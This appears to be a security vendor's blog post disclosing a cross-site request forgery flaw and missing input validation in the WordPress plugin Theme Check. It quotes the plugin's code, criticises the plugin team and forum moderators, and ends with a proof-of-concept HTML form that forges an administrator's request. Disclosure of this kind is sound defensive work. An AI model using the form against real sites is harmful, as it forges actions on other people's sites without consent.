A core problem with the handling of the security issues with WordPress plugins is the team running the Plugin Directory, who have shown themselves not to be up to task of handling the role they are in. Part of that involves an inability to work with others to fix the problems the team are causing. That seems in part due to a belief they have capabilities they don’t. You can get a taste of that from the bio for one of the members that reads in part:

Fundamentally, I started using WordPress because I was bored at work. So I started messing around on the forums, reading questions, finding the answers by reading the code, and then by answering the questions for others. Do that for a year and you will know everything there is to know about the code.

You might think that is joke, who could believe they “know everything” about the code of WordPress, but based on what we have seen elsewhere it seems entirely possible that person really believes that (it wouldn’t be the strangest thing they believe).

That becomes more of problem when that person is not only one of only six people on the team (the lack of appropriate sized team seems intentional seeing as they won’t allow others to join and the comparative size of the theme team), but also is in charge of the moderation of WordPress’ support forum.

So while that person believes they have extraordinary capabilities in the real world the results are very different, as today we happened to be doing a quick over the security of a plugin developed by that person, Theme Check, which has 80,000+ installs, and found that it was lacking in basic security.

The plugin’s admin page is accessible to users with the “manage_options” capability, so normally on Administrators:

25

$page = add_theme_page( 'Theme Check', 'Theme Check', 'manage_options', 'themecheck', array( $this, 'themecheck_do_page' ) );

In the function that runs when accessing that, themecheck_do_page(), there is this code that starts the checking of a theme:

59
60
61
62
63
64
65

if ( isset( $_POST[ 'themename' ] ) ) {
	if ( isset( $_POST[ 'trac' ] ) ) define( 'TC_TRAC', true );
	if ( defined( 'WP_MAX_MEMORY_LIMIT' ) ) {
		@ini_set( 'memory_limit', WP_MAX_MEMORY_LIMIT );
	}
	check_main( $_POST[ 'themename' ] );
}

That causes the function check_main() to run with the value of the POST input “themename” passed to it. That functions begins this way:

2
3
4
5

function check_main( $theme ) {
	global $themechecks, $data, $themename;
	$themename = $theme;
	$theme = get_theme_root( $theme ) . "/$theme";

What is missing in that code is a check for a valid nonce to prevent cross-site request forgery (CSRF), which involves causing else, in this case a logged in Administrator, to take an action they didn’t intend. There also isn’t validation or sanitization on the user input “themename”. We didn’t see any obvious more serious harm that you could do with that, so the security concern here seems less important than the poor handling of security by someone that millions of websites are forced to rely on to help keep their websites secure.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause an check of the specified theme (or an error something other than a valid theme slug is provided), when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[theme slug]” with the slug of the theme to be checked.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/themes.php?page=themecheck" method="POST" enctype="multipart/form-data">
<input type="hidden" name="themename" value="[theme slug]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?